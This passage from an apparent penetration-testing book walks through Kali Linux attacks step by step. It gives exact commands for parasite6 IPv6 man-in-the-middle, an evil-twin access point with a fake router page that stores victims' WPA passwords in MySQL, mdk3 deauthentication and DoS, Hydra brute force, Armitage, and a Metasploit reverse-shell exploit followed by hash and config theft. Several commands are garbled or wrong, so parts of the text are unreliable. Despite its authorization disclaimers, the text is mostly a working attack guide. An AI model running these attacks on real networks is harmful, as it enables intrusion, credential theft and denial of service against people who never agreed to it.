There, we can see that the AP or Aps are reporting that they saw the rogue access point on what channel and they're also including information such as a receive signal strength indicator, and the signal-to-noise ratio.

Now you might be asking; well that's great and we know that we have a rogue access point, but how do we contain that device, how do we shut them down?

Well, we're gong to take our access points which besides supporting normal customers, and also going to spend a little bit of extra time the ones that can currently see that rogue access point and they are going to perform effectively a denial of service attack against that access point.

It's going to do that by using “deauthentication” messages. Now if a customer is trying to associate with that rogue access point, because these “deauthentication” messages are being sent by the access points, these access points are also going to spoofed, which is a nice way of saying lie about the MAC address involved, so that our customer or any other customers who are trying to work with the rogue access point are going to be attacked with “deauthentication” messages.

The goal here is to make sure that access point which is not managed by us to make sure that no valid customers associate with that. Also want to point out something very important regarding shutting down or doing “deauthentication attack” access point.

Attacking your own access point is not a big deal, however I need to point out that attacking somebody else's wireless local area network is a big deal and you definitely would not ever want to do that against any other legitimate networks, because it will cause a denial of service attack against that network.

So to do that looking at the details of the rogue AP, all we need to do is go under “update status” and change to “contain” instead of “alert”. Next, the question is how many access points should we use to go ahead and deal with that containment.

The containment can be defined under the title; “Maximum number of Aps to contain the rogue” Here, if you only have one access point that is currently able to see the rogue device, you can only select one to send the “deauthentication” messages.

Once selected, then click on “apply” to make that change and it gives a little warning saying;

“There may be legal issues following this containment. Are you sure you want to continue?”

As I pointed it out earlier, this could be illegal, but if you own the access point, you can click on “OK”. Now, a “deauthentication attack” will happen against that rogue access point, and it will remain in place until we turn that off.

If you are still on the same page under “Rogue AP Detail” next to the “State” the status will say “contained” which is want we wanted to achieve. If we want to turn that off and take off the attack, we'll simply change the status

back to “alert”, click on “apply” and the “deauthentication” attacks will be stopped.

In the meanwhile if you have protocol analyser, you can see the rogue access point’s frame number, and if you follow the stream, under “Type/Subtype” you will see “Deauthentication” which is the “deauthentication attack” that we have implemented with the AP using our WLC against the rogue access point.

Although it looks like the source MAC address is involved, these are being initiated by our own access points to do an attack. If you keep following that stream, go down further it's going to continue over and over until we have stop the attack on the WLC.

The goal is to make sure that no valid clients accidentally associate with the rogue access point, or if they do, they won't be on there very long because of the periodic “deauthentication” messages which are coming through will disassociate the clients connected to it.

As you see, if you have a WLC in your organization, you can quickly identify and contain rogue access points. But once again I would like to remind you that attacking somebody else's wireless local area network is not legal, and you can be in trouble doing it, so make sure that you have written authorization or your manager’s approval to carry out such containment using WLC or any other tools.

Chapter 27 IPv6 Packet Capturing with Parasite6

Imagine that you have a new assignment for penetration testing, and the company has two networks that require being broken into. Yet, one of them is very likely easy as there are no firewalls in place.

But the second network seems like it's more secured and it might take the whole day to figure out the possible volnaribility to exploit them. Certain people may start with the easy one that could be done under an hour.

But, if you ask the right questions to the current network implementation that is running within the company, you may save yourself from extra head pain and have an easy day.

IPv6 is running as a valid protocol in most computers in companies today. Therefore, by taking certain steps to disable it, you could leverage IPv6 according to its operation and compromise the network by a Man in the Middle attack.

If you are aware of that and understand how to crack it, you may be able to finish your penetration testing within a short period of time, as the company possibly has not enabled all the security features on the network as they should have.

Man in the Middle attack is achievable by many tools and we have discussed some of them already previously. Once we are approaching an IPv6 network, we can use another great tool called "Parasite6".

Let's get back to basics and think of what happens when the PC boots the first time while connected to a network. Of course the PC first would ask for an IP address.

In this case, an IPv6 address from the router that is on the same network, or if there is a DHCP Server, then the DHCP server would assign that IP address to that PC.

Next, if that PC begins to communicate with the outside network or the Internet, first it should learn the Mac address of the router, and that would happen by using ARP or Address Resolution Protocol, but in IPv6 there is no such thing as ARP.

What happenes in IPv6 network instead of ARP is that the PC would use a

“Neighbour Discovery”, specifically called NDP or Neighbour Discovery Protocol.

What would happen next is that the PC would send out a nighbour discovery, to be more detailed, a neighbour solicitation to it’s router, then the router would reply by a neighbour advertisement.

Solicitations are asking, and advertising is giving the address that has been asked for. That’s all great, but how would we use Parasite6 here?

Well, we would join the network with our Kali Linux machine that is running Parasite6, then begin to listen to the network.

Once Parasite6 is enabled, it would start to listen to every solicited message that goes through the network, and then it would begin to answer.

But, instead of answering with the correct details, we would answer with our own Mac Address to everyone on the network, making every network device on the network believe that we are the router.

We don’t have a Man in the Middle attack yet, instead we have a DoS or Denial of Service attack because every network device that wants to get out to the internet would reach our Kali machine first, thanks to Parasite6 being enabled.

To turn this DoS attack to be a MITM attack, we would have to turn on IPv6 forwarding on, on our Kali Linux machine.

Launching Parasite6 on Kali is simple, all you have to do is type the command:

“parasite6 interface1 (fake mac address)”

Then press enter. Essentially, you have to type parasite6, then specify what interface you want to connect to the network and become a Man in the Middle, then type the fake mac address that you want provide to all other end devices or network devices that are connected to the same network.

For the fake mac address, any made up mac address would work just fine. Other useful commands you can deploy is:

“parasite6 -l interface1 (fake mac address) “

This time I have added “–l” and that would represent a loop, meaning it would create a loop and refresh the solicitation message in every 5 seconds in

order to keep the poisoned information current. You also have another option if you type:

“parasite6 -r interface1 (fake mac address) “

This time using “–r” representing that it would also try to inject the destination of the solicitation. But, to use both, by keeping all the poisoned fake infomation current as well as poison the destination of the solicitation as well, we should use the following command:

“parasite6 -lr interface1 (fake mac address) “

Next, by launching this command, it would listen to all the neighbour solicitation messeges that it receives, and begin to respond to them all with it’s own fake address that we have specified.

Please make sure you have written authorization before using Parasite6, including any variations related to Parasite6, as it could cause a serious harm to all networking devices that are connected to the network.

If you are only practicing in your home lab, in a non production environment, that should cause no issue to anyone; still I would suggest you turn off your router and practice with care without any connection to the internet.

Chapter 28 Evil Twin Deauthentication Attack with mdk3

In this chapter I'm going to teach you how to create an evil twin access point on a Kali Linux virtual machine. In addition, I'm going to show you how to use the evil twin access point in combination with some social engineering techniques to obtain a targets WPA or WPA2 password.

To complete this attack, you will need to have a USB network adapter that supports monitor mode. If you don't already have a USB network adapter the supports monitor mode, I already recommended network adapters in some of the previous chapters.

Also if you already understand how the evil twin access point works that’s fine, but if you don't know, then let me explain what we're going to do for this attack.

First, we're going to create an evil twin access point and it's called an evil twin because it's a clone of an authentic access point. Thus, we find a wireless network that we want to target, we copy that networks identifying information such as its name and its MAC address, and then we use that information to create our own wireless network.

Keep in mind that should only be performed on wireless networks that you own. If you don't have two wireless networks, I suggest you ask a neighbor or a friend if you can use theirs to practice on.

When a client connects to the evil twin Network, they won't be able to distinguish between the authentic network and the evil twin network. Then, when the client opens their web browser, we're going to redirect them to a security update page for the router, which will prompt them to enter their WPA or WPA2 password.

When the client enters his or her WPA password, the password is going to be stored in a my SQL database, which we will create in a few moments. That's everything we're going to do for this attack.

Let's go ahead and get started. First, we need to connect to the internet and we're going to accomplish this by sharing our host operating systems internet connection with our Kali Linux virtual machine. This way, it will eliminate the need for a second USB network adapter. If you jump over to your host operating system that doesn't matter what type of operating system you're

using just as long as you can connect to the internet with it.

Go ahead and open your network manager and then find a wireless network to connect to. You can connect to your home network, so once it’s done, now that you are connected to the internet on your host operating system, we need to share it with our Kali Linux virtual machine.

Therefore let's move back over to Kali Linux and in the top menu bar we need to open the virtual machine menu and then we're going to expand the network adapter menu, and here we need to set our network adapter to bridged auto-detect.

Once you've made that setting, you can go ahead and allow the virtual machine menu to collapse and now we can use that virtual network adapter to establish an internet connection through our host operating system.

Next, open your network manager, you can use whatever network manager you have, and in your network manager you need to find the option that says “wired network” and then click “connect”.

While that's connecting I want to point out that if you're using the default network manager and you're having issues with the wired connection I recommend installing another network manager, such as “WICD network manager”.

Now that we have an internet connection, we need to install DHCP server and for those of you who don't know what a DHCP server is, well a DHCP server is used to assign an IP address within a specific range to clients who connect to an Access Point.

In this case, we'll use it to assign an IP address to anyone who connects to our evil twin access point. Go ahead and close your network manager and now we need to open a terminal and in the terminal we're going to type;

“apt-get install dhcp3-server”

and then press ENTER. I've already installed DHCP server but you may receive a prompt asking you to confirm the installation so just type “Y” meaning “yes” and then press Enter, and give it a moment to finish installing.

Moving on, we need to configure our DHCP server, so in the terminal let's type; “nano /etc/dhcpd.conf”

and then press enter, and you should have a blank dhcp3 configuration file,

but if it's not blank simply delete the existing contents before moving on. Once you're ready, let's start entering our configurations. On the first line we need to type;

“authoritative;”

and then press ENTER to move down to the next line and then type;

“default-lease-time 600;”

and then press ENTER and move down to the next line and type;

“max-lease-time 7200;”

and then press ENTER to move down a line and then type;

“subnet 192.168.1.128 netmask 255.255.255.128 {“

then press enter to move down the line and type;

“option subnet-mask 255.255.255.128;

then press enter to move down the line and type;

“option broadcast-address 192.168.1.255;”

and then press ENTER to move down a line and type;

“option routers 192.168.1.129;”

and then press ENTER to move down a line and type;

“option domain-name-servers 8.8.8.8;”

and then press ENTER to move down a line and type;

“range 192.168.1.130 192.168.1.140;”

and then press ENTER to move down a line and type;

then type a backwards-facing curly bracket;

}

and that's everything that we need to enter so now we need to save and close the file. But before you do then, double-heck that you have the following configuration in your terminal;

authoritative;
default-lease-time 600;

max-lease-time 7200;
subnet 192.168.1.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option broadcast-address 192.168.1.255;
option routers 192.168.1.129;
option domain-name-servers 8.8.8.8;
range 192.168.1.130 192.168.1.140;
}

Once you have verified that your configuration is correct, let’s move on and save these configuration.

First we're going to press the “ctrl and X” keys together, and then we'll press the “Y” key, and finally we'll press the Enter key. Now we need to download the security update page that the client will see when they open their web browser.

This sample web page imitates a security update for a Linksys router, but in a real world penetration test, the sample page I am using will most likely be irrelevant if your pen testing a company that uses a captive portal or a landing page.

For example you would want to deploy a webpage that resembles that company's captive portal. If you are pen testing a network that uses Netgear, D-link or Cisco, you want to produce a webpage that identifies with those particular manufacturers.

Once you have downloaded the evil twin zip file, you also need to unzip it. Once complete, we're ready to start our Apache web server which will allow us to host our security update webpage. Now we need to type;

“/etc/init.d/apache2 start”

and then press enter and now we need to start My SQL so let's type;

“/etc/init.d/mysql start”

and then press Enter and now that My SQL is running, we need to log into it and create a database which is where we'll store the WPA password that our client enters into the security update page, so let's type;

“mysql –u root”

and then press Enter, and you should have the MySQL prompt. Here, we're going to create a database named “evil twin” so let's type;

“create database evil_twin;”

and then press ENTER, and now we need to create a table with some columns which will represent the data that the client enters in the password field on our security update page. So to move into our new database, we need to type;

“use evil_twin”

And then press ENTER and now we're going to type;

“create_table wpa_keys(password varchar(64), confirm varchar(64));”

and then press enter and in case you were wondering that command created a table called “wpa_keys” which contains two columns. One is called “password” and the other is called “confirm”.

The 64 represents the maximum number of characters that can be stored in the column, and we use 64 because a WPA password can contain up to 64 characters.

Moving on, we need to find our virtual network adapters interface name and we need to find our local IP address because we're going to be using them in future commands.

Thus let's open up a new terminal and we can leave the My SQL terminal open because we'll be accessing that later on. In the new terminal we need to type;

“ip space”

and then press Enter, and go ahead and find your virtual network adapters interface name and your local IP address. My interface name is “eth0” and my local IP address is “192.168.0.6” but your might be different.

Open up a blank notepad to keep track of this information and go ahead and represent these items the way as I show you so that we can easily refer to them later on without confusion.

We'll call our virtual network adapters interface name our wired interface and mine is eth0 and then we'll call our local IP address our local IP and mine is 192.168.0.1.

Wired Interface: eth0
Local IP Address: 192.168.0.6

Now that we've made note of those information, we need to find the name of our USB network adapters interface name. So go ahead and connect your USB network adapter if you haven't already done so, and then let's move back into the terminal. In the terminal we need to type;

“airmon-ng”

and then press ENTER and go ahead and find your USB network adapters interface name. Your interface name is showing right under the “Interface” and then let's make note of that in your notepad.

We'll call it our wireless interface, and mine is wlan0;

Wireless Interface: wlan0

and now we need to create a monitor interface, so let's move back into the terminal, and we need to type;

“airmon-ng start [wlan0]”

and then press enter, then go ahead and find your monitor interface name. The monitor interface is shows within the sentence “(monitor mode enabled on wlan0)” and then let's make a note of that in your notepad.

We'll call it our monitor interface and mine is mon0

“Monitor Interface: mon0”

and now we're going to use “airodump” to find the wireless network that we want to clone, but first I'm going to share with you something that will allow us to identify the type of router that the target network is using.

Thus let's move back into the terminal and type;

“airodump-ng-oui-update”

and then press ENTER. Here, give it a moment to download the “OUI” file. This provides us with a list of manufacturers and known MAC address formats. What this does is it allows “airodump” to compare the discovered networks BSSIDs to the list, and display the corresponding manufacturer for us in the scan results.

Moving on, let's go ahead and start our scan. To do this, we need to type;

“airodump-ng -M mon0”

and then press enter, and when you find the wireless network that you want to target, you need to press the “ctrl and C” keys to stop the scan. Now we need to make note of the targets “ESSID”, the channel number referenced as “CH” and the targets “BSSID”.

Therefore, let's move back into your notepad, and we're going to call these items “Target ESSID”, “Target Channel Number” and “Target BSSID” so go ahead and refer back to your terminal and write down these details as follows:

Target ESSID: freewifi

Target Channel Number: 6

Target BSSID: aa:bb:cc:dd:ee:ff

Regards to the ESSID, make sure you use any uppercase lowercase as necessary and then write down the channel number where mine is using 6 and then for the BSSID, I recommend simply copying and pasting to ensure that you don't make any errors.

To copy text from the Kali terminal without using right-click, you can simply press the “ctrl shift + C” keys to copy any text. Same as if you want to paste text, you can press the “ctrl shift + V” keys.

Once you have pasted these information into the notepad, now that we have our targets information, we can create an evil twin. So let's move back into the terminal and now we need to type;

“airbase-ng –e freewifi –c 6 –P mon0”

Here, you are referencing the targets ESSID, then the targets channel number which is in my case 6, and then enter the name of your monitor interface, where you can see that mine is “mon0” and then press Enter.

Now that our evil twin access point is up and running, we need to configure our tunnel interface so we can create a bridge between our evil twin access point and our wired interface.

So let's go ahead and open up a new terminal, but don't close the air base terminal or the My SQL terminal. In the terminal we need to type;

“ifconfig at0 192.168.1.129 netmask 255.255.255.128”

And then press enter. Now we need to add a routing table and enable IP forwarding so we can forward traffic to and from our evil twin access point, so let's type;

“route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129”

and then press enter. Now we need to type;

“echo 1 > /proc/sys/net/ipv4/ip_forward”

and then press enter. Now we need to create some iptables rules. These rules will determine how network traffic is handled. First we're going to create a rule for managing traffic that needs to go to our wired interface which is our internet source, so let's type;

“iptables - - table nat - -append POSTROUTING - -out-interface eth0 –j MASQUERADE”

masquerade should be written in all uppercase and then press Enter. Now we need to create a rule for managing traffic that is going into our tunnel interface so let's type;

“iptables - -append FORWARDA - -in-interface at0 -j ACCEPT”

and then press Enter. Now we need to create a rule that allows TCP connections on port 80 and forwards them to our web server so we need to type;

“iptables -t nat -A PREROUTING –p tcp - -dport 80 –j DNAT - -to-destination 192.168.0.6:80”

and then press Enter. For the final rule, we need to create a rule that allows us to provide a network address translation and to do this we need to type;

“iptables -t nat -A POSTROUTING –j MASQUERADE”

and then press Enter. Now that we have IP tables set up, we need to point it to our DHCP D configuration file and start our DHCP server, so let's type;

“dhcpd -cf /etc/dhcpd.conf –pf /var/run/dhcpd.pid at0”

and then press enter. Then type;

“/etc/init.d/isc-dhcp-server start”

and then press enter. You should now see the following output:

“Starting ISC DHCP server: dhcpd”

That reflects that dhcp server is started and it started successfully. For the last

step, we need to force the target networks clients to connect to our evil twin access point.

To accomplish this, we need to disconnect the clients from the target network by performing a deauthentication attack. Keep in mind, there are various ways to do this, but for this attack we're going to use MDK3.

First we need to create a blacklist file that contains the target's MAC address or BSSID. So let's type;

“echo aa:bb:cc:dd:ee:ff > blacklist”

aa:bb:cc:dd:ee:ff here references the targets BSSID, so just go ahead and copy that out of your notepad and then paste it into the terminal to blacklist it as above and then press ENTER.

Then to start the deauthentication attack, we need to type;

“mdk3 mon0 d –b blacklist –c 6”

Here, you have to enter the name of your monitor interface and mine is mon0, and then the targets channel number and mine is 6, and then press enter. Now you can move over to the computer that you are using to simulate a victim.

If the deauthentication attack is successful, your victim computer should lose the current connection any moment. Once your victim computer has lost his connection, what's going to happen, is that your victim computer will try to re-establish the connection that it just lost, however because we've suspended the authentic network, it should connect to the evil twin network instead.

If you go back over to the airobase terminal to watch for the connection it should show that someone is connected to your evil twin access point. So if you move back over to your victim computer, you can open a web browser and just try to go to google.com.

Here, you should see that you have been brought to a security update page and as a user you want to make sure that your router is current on all of it’s updates, particularly as security updates, so it will ask you to enter your WPA password as the router update is requesting.

Once you confirm the password then click update. Now let's move back over to your My SQL terminal and check if you were able to capture the WPA password.

In the terminal, we need to type;

“use evil_twin”

and press enter. Then we're going to type;

“select * from wpa_keys;”

and then press Enter, and you should see there the clients password was stored in your My SQL database.

The password should be shown under “password” and the confirmed password is under “confirm” within the My SQL database.

If the client was to enter a miss matching passwords, they would have been brought to an error page prompting them to re-enter their passwords because they didn't match.

If the client was to click the cancel button, they would have been brought to a page that ensures them how important this security update is and that is for their own good and that they will not be able to browse the internet until they perform the update.

That's how you can create an evil twin access point and set up a web page that's going to capture WPA password.

Please make sure you have written authorization before using these tools, as it could cause a serious harm to all networking devices that are connected to the network.

If you are only practicing in your home lab, in a non production environment, that should cause no issue to anyone; still I would suggest you turn off your router and practice with care without any connection to the internet.

Chapter 29 DoS Attack with MKD3

Another enterprise security threat is of course the DOS or Denial of service attacks. As the name suggests, a denial of service attack, if successful, prevents other people using the resource or services.

It disrupts the services for other users. There was a case in the press where an individual had decided that he was tired of people using their cell phone while driving so he drove around with a cellular jammer in his car and as he was driving around he was jamming all the frequencies on the cellular network.

So vehicles around him, those people can't use their cell phones and you might say, wow that's a great idea, but you have to remember that law enforcement, ambulances, also use the cellular services.

Therefore when you disrupt frequencies on cellular network for other people, you're also disrupting it for services that you don't want to be disrupting it for. This particular individual was tracked down eventually, and once they found him, and he got arrested, and he got heavily fined.

But, how do you execute a denial of service attack? Well, In wireless there are two major ways. The first is to bombard your Wi-Fi access point with useless traffic. If you create a lot of traffic and the access point is trying to decide what to do with that, does it process all those authentication request?

What if you sent a probe request, and while the access point is dealing with that traffic, it's not dealing with other user traffic. So basically, one approach is just to occupy the access point so it then can't handle legitimate traffic.

The second approach is simply to create noise and interference in the frequency band that the access point is operating on. I can broadcast signals that just disrupt and interfere with any other signals that are going over the air at the same time.

Well, in this chapter, I'm going to share with you how to perform a DOS attack. Denial of service or DOS means that we are going to kicking everybody off of a network and denying them service.

First, we need to attach our wireless network adapter. Once you've done that, you need to open up a terminal and then type;

“ifconfig”

press enter and now you need to open up a text file because you need to make note of some information. First, we're going to make note of our wireless interface which for me is wlan0.

Go ahead and make note of that name. Once you've done that, you can clear your terminal by typing

“clear”

then press Enter. Next, we need to scan available access points so we can find a target, so type;

“iwlist wlan0 scan”

then press Enter. This will list all the available access points, so go ahead and search for a target. Once you've found your target, you need to make note of the e SSID and then you need to make note of the BSSID, and then you need to make note of the channel number.

Once you've done that, we need to create a blacklist file so type;

“echo (target access point’s BSSID) > blacklist”

and then press Enter. This will create a file called “blacklist”, containing the target access points BSSID. Now we need to put our wireless interface into monitor mode. To do that type;

“airmon-ng start wlan0”

then press Enter. This command will create a monitor interface called “mon0” Go ahead and make note of that monitor interface. To confirm that is your monitoring interface is called, you can type;

“airmon-ng”

And then press ENTER. This will display all of your interfaces, and you should see there the new monitoring interface called “mon0”. Now we are ready to perform our DOS attack, so let's go ahead and type;

“mdk3”

then press enter. Next, we're going to type;

“mdk3 mon0 d –b blacklist –c 6”

Here, you have to type the monitor interface name which is mon0, then the name of our blacklist file which in my case is called “blacklist”, and then the channel of our target access point which is in my case is “6”.

Once you've done that go ahead and press ENTER. Next, you'll see that it's going to begin sending packets and it's going to start to flood the network.

In the meanwhile if you going to look other machines connected to the same network, you'll notice that those will be disconnected. Now we need to go ahead and open up another terminal, and we're going to type;

“mdk3 mon0 a –m –i (target access points BSSID)”

and press Enter. From looking at another computer nearby, you should see that it's just been kicked off the network. If you look at your Wi-Fi, you should see that it’s been disconnected.

You can go ahead and try to connect to the targeted BSSID, but it's going to give you a connection timeout message. That’s it. As you see DOS attacks are relatively simple. You should see that you have been disconnected and now we can no longer connect and that's how you can perform a DOS attack using MDK3.

Chapter 30 Brute Force Attack with TCP Hydra

In this chapter, you will learn how to analyse a brute force attack against the target system. In this scenario imagine that you have 3 nodes. The attacker is going to use a Kali Linux with the IP address of 10.0.0.111, and the victim machine will be using a Windows 10 device with an IP address of 10.0.0.202.

Lastly, the penetration tester will use Kali Linux to intercept all the traffic and analyse any attacks on the network. Imagine that you are the attacker and you want to attack one of the hosts on the network that has a Telnet service turned on.

The first thing a hacker is going to do is to try to brute force the target victim. To begin with a brute-force attack, there are various tools that you can use, but there is one which is very popular amongst pen testers and we haven't covered yet is called "hydra".

To use hydra, you have to first open your Klai Linux terminal window, and type the command:

"hydra –V –l (dictionary password file path) –t 50 –(victim IP address) ssh"

Then press enter. Here, the "-V" option is for maximum verbosity, then the "-l" is for the log in name, followed by the dictionary password file path, and the "–t" argument selects the number of parallel connections.

The greater the number, the faster the testing will occur, followed by the victim IP address, and finally, the protocol that I want to brute force. Once you have pressed Enter, the attack will begin, and all you have to do is now wait for the password to be cracked.

The password should be cracked in few minutes. From a hacker perspective, what is the next step? Well, the hacker will try to log in using Telnet.

First, the hacker would issue the Telnet command, then specify the IP address of the victim's host, and enter the login name followed by the cracked password.

At this moment, the hacker is happy about this victory. If you jump into the penetration tester machine and analyse this hack, you should see what happens when the attacker tries a combination of username and passwords that are not authorized.

To analyse these types of conversations in Wireshark, right click on any packet and select “Follow TCP Stream”. The message will say that no more connections are allowed to telnet server. “Please try again later”.

This is the typical message that the attacker is receiving over and over again when he fails during the brute-force attack.

Within Wireshark when you look at the tapped traffic, you have to scroll down until you don’t see this type of pattern anymore, and if follow the stream again, you should see the username and password in plain text, and you should also see the command that the attacker executed.

The list that you see in this page is Clear Text Protocols such as HTTP, FTP, and Email protocols such as POP, IMAP, SMTP, Telnet or Voice over IP.

If you find that your client is using one of these protocols, you need to mention that in your final report. A simple solution is to replace these clear-text protocols with other secured protocols such as HTTPS instead of HTTP, SFTP, or SCP instead of FTP and so on.

Chapter 31 Armitage Hail Mary

Armitage is an excellent GUI frontend for the Metasploit framework. Armitage was developed with the goal of helping security professionals better understanding hackers and how they deploy various attacks.

For further information about this excellent project, please check the Armitage official website at fastandeasyhacking.com. How to use Armitage?

Well, Armitage is also included in Kali Linux, hence all you have to do is to turn it on is type within your command line interface:

“armitage”

Then press enter. You can just accept the default options for the window it pops up the first time, and click on the Connect button, then click Yes to start the Metasploit RPC server.

The Armitage user interface has three main panels called Modules, Targets, and Tabs. You can click the area between those panels to resize them if you wish, but let’s look at each of these panels.

The module browser panel allows you to launch a Metasploit auxillary module, an exploit, or generate a payload and run a post-exploitation module.

The target panel shows your targets. Armitage represents each target as a computer with its assigned or static IP address and other information about it below the computer icon.

Once you run the Armitage tool, it should already identify one hosts if you have other systems running in your session. If you have many hosts, the graph view will become difficult to work with.

If this happens, for this situation, Armitage has a table view instead. Therefore, go to Armitage menu item, then select the “Set Target View”, and then select the “Table View” option. Down below, you have the tabs area.

Armitage opens each dialog console and table in a tab below the module and target panels. Metasploit console or Meterpreter console and shell interfaces are each use a console tab.

A console tab allows you to interact with those interfaces through Armitage. If you want to open a new console, you have to go to the View menu and select Console.

Armitage logs are all console shell and the event-log will gives you an output for you. It organizes those logs by date and nodes. You will find these logs in the Armitage folder.

Go to View, then Reporting, select then the “Activity Logs” to open the folder. Imagine that you want to export all traffic you have done in this application.

Armitage and Metasploit share a database to track your hosts, services, vulnerabilities, credentials, and user agent strings, captured by browser exploit modules.

To get all this information, go to View, Reporting, and then click on Export Data. This option will export the data from Metasploit and create easily parsable XML tab separated value files.

When it comes to workspaces, Armitage Dynamic Workspaces feature allows you to create views into the host database and quickly switch between them.

To better understand what I'm talking about, select the Workspaces menu, and then click on Manage. To manage your dynamic workspaces, you may add, edit, and remove workspaces you already created.

To start an attack, Armitage bundles several Metasploit scans into one feature called MSF Scans. This feature will scan for a handful of open ports.

Similarly to nmap, it then enumerates several common services using Metasploit auxillary modules which are built in for the purpose. For your example, you can be attacking a Windows XP machine.

You can select it, right click, and then click on Scan. You may also go to Hosts menu, and click on MSF Scans, as they both will give you the same functionality.

After the scan is complete, before you go and start attacking, you must choose your weapon. Armitage makes this process very easy. Select the “Attacks” menu and click on Find Attacks.

The “Find Attacks” option will generate a custom attack menu for each host. To exploit a host, right click on it and navigate to Attack, and choose an “Exploit” from the list.

The “Exploit” dialog allows you configure options for a module and choose whether to use a reverse connect payload or not. For remote exploits,

Armitage chooses your payload for you.

Generally, Armitage will use Meterpreter for Windows targets, and a command shell payload for UNIX targets. After this, all you have to do is to click on the “Launch” button.

If the exploit is successful, Armitage will make the host red and surround it with spooky lightning balls. If manual exploitation fails, don't worry. You have the “Hail Mary” option.

Go to the “Attacks” menu and click on the “Hail Mary” to launch this feature. Armitage’s Hail Mary feature will find exploits relevant to your target, then filters the exploits using known information, and then sorts them into an optimal order.

This feature won't find every possible shell, but it's a good option if you don't know what else to try. Armitage makes it easy to manage the Meterpreter agent once you successfully exploit a host.

Next, you can right-click on the “host” to access the Meterpreter menu, then select “Meterpreter” and choose whatever you like from the list.

For example, you can select the “browse files from the list”. Do not be surprised if it finds directory items on the victim's machine. Armitage is great and very easy to use, but I recommend you to practice with it and see which attack method is most successful to your requirements.

Lastly, I will ask you again to make sure that you have written authorization for using Armitage in a live or production environment. If you are only practicing in your home lab, in a non production environment, that should cause no issue to anyone; still I would suggest you turn off your router and practice with care without any connection to the internet.

Chapter 32 The Metasploit Framework

Exploitation is the heart of ethical hacking. By exploiting vulnerabilities you can start making assumptions how dangerous it can be.

The Metasploit Framework, or MSF is an open source tool designed to facilitate penetration testing. The application is written in the Ruby programming language.

It uses a modular approach, thus facilitating exploits. This makes it easier to develop and code exploits, and it also allows for complex attacks to be easily implemented.

The exploit module is the code fragments that target specific vulnerabilities. Active exploits will exploit a specific target and run until completed, and then exit.

On the other hand, passive exploits wait for incoming hosts, such as web browsers or FTP clients, and exploits them when they connect to the network.

Payloads are the malicious code that implements commands immediately following a successful exploitation. Auxiliary modules do not establish or directly support access between the pen tester and the target system.

Instead, they perform related functions, such as scanning, fuzzing, or sniffing that support the exploitation phase. Following a successful attack, the post modules run on compromised targets to gather useful data and pivot the attacker deeper into the target network.

Encoders are used to bypass anti-virus defences, and these modules encode the payload so it cannot be detected using signature matching techniques.

Lastly, the No-Operations modules are used to facilitate buffer overflows during attacks. The steps for exploiting a target system using MSF start first with choosing and configuring an exploit.

Next, you need to check the target system to determine if it is susceptible to attack by the exploit. This step is optional, and it should be your method to minimize the detection.

After that, you can choose and configure the payload, which is the code that will be executed on the target system following a successful exploitation. An example of a payload would be something like a reverse from the compromised system back to the pentester host.

After this step, you can also choose an encoding technique to bypass detection controls, like intrusion detection system or anti-virus software. Lastly, you have to execute the exploit.

Let me explain how it is done. As a pen tester, you should investigate every vulnerability. For example, on port 6667 Metasploitable runs the application called “unrealircd”, which is an IRC daemon.

This version contains a backdoor that you might not notice for months, triggered by sending the letters A, B, following by a system command to the server on any listening port.

Metasploit has a module to exploit this in order to gain an interactive. To start the hack, open the console first. In Kali, you will need to start up the “PostgreSQL” server before you start the frame.

Next, you have to run the “msfconsole” application. Like any console application, entering how or a question mark once in the command prompt, so this will display and list all available commands along with a description of what they are used for.

You can start organizing your project by using what are called workspaces. You can create a new workspace for your lab, and by the way the “-a” argument is used for adding a workspace.

Next, to ensure that a new workspace is selected, issue the

“workspace”

command all the workspaces that are stored in the Metasploit database. Next, search for your exploit by using the

“search”

command. The returned exploit for the IRCD service might be listed, and it assigns the relative ranking of how successful it is at achieving an exploit.

You can copy the exploit name to use it in the next commands. Additional information about this exploit can be obtained by using the

“info”

command. The returned information should include references, as well as information about this exploit. It's better to check it out before proceeding and wasting your time.

To instruct Metasploit that you will attack the target with an exploit, you issue the

“use”

command. After the “use” command, Metasploit changes the command prompt from “msf” to “msf exploit (unreal_ircd_3281_backdoor)”.

If you need to set any options for the exploit, you can do it by executing the “show options”

command. For example if you need to set the required field for the remote host, which is the IP address of the system being attacked, to change the value of any option, you start by the

“set”

keyword, followed by the option name, and finally, you enter the option value.

To execute the payload, type

“show payload”

command to list all the suitable payloads for this exploit. There's a bunch of them, but you can select the

“reverse shell payload”

for this example. Why would you do that? Well, this is because it's a popular payload for UNIX shells. When I say popular, it means people used it before with a good success rate.

Next, you need to check the options for the selected payload. The Payload option will ask you to enter a value for the local host IP address. You can check that out with the command

“if config”.

Enter the value and press Enter. To start the attack, enter the

“exploit”

command and press Enter. Metasploit initiates the attack and will confirm by indicating Command shell session 1 opened, and giving the IP addresses that originate and terminate the reverse shell.

When a system is compromised to this extent, it is ready for the post-exploitation activities. Post Exploitation is a part of the workflow where the attacker achieves the full value of the attack.

Once a system has been compromised, the attacker generally performs the following activities. He or she conducts a rapid assessment to characterize the local environment, such as infrastructure, connectivity, accounts, presence of

target files or applications that can facilitate further attacks.

It also locates and copies or modifies target files of interest such as data files or financial information. Furthermore, it creates additional accounts and modifies the system to support post-exploitation activities.

In addition, it attempts to vertically escalate the privilege level by capturing administrator or system-level credentials, and tries to attack other data systems that are called horizontal escalation.

By pivoting the attack through the compromised system to the remainder of the network, it installs persistent backdoors and covert channels to retain control and have secure communications with the compromised system.

Lastly, the attacker can remove indications of the attack from the compromised system. To be successful, the post-exploit activities require comprehensive knowledge of the target's operating system to ensure that protective controls can be bypassed.

You have already learned how to exploit the system previously, so you will put the session in the background by pressing “Ctrl+Z”, and type “y” to confirm.

It is essential to know the session ID for the post-exploitation module that you are going to use. This can be obtained with the “sessions” command.

If you have used this tool for the first time, your session is 1. One of the first modules that you can try is called the “hashdump”, which will try to collect the password hashes of the system.

The only setting that you need to insert here, is the session Id. Before you proceed, you need to set the session Id in the options section.

Another very interesting post-exploitation module of Metasploit is the “enum_configs”, which will obtain all the important configuration files, and will store them in your system.

You should see in the output a sample of the configuration files that has been obtained from the remote system.

If you want to check one of those txt files by using a text editor application, copy one of them, open a new console, and use the tool called “nano application” to see its contents.

Once you ready to move on, close this window, and go back to your main window. This time you will need to enumerate the network configurations with “enum_network” module.

The “enum_network” command saves everything you have found in text files, so you can check them to discover what kinds of installations exist on the remote system such as IDS, anti-virus, IPS or firewalls.

Next, you can use “enum_protections” module, but you can also enumerate the entire system by obtaining information regarding the user accounts, the installed packages, the services, the hard disk, the Linux version and so on.

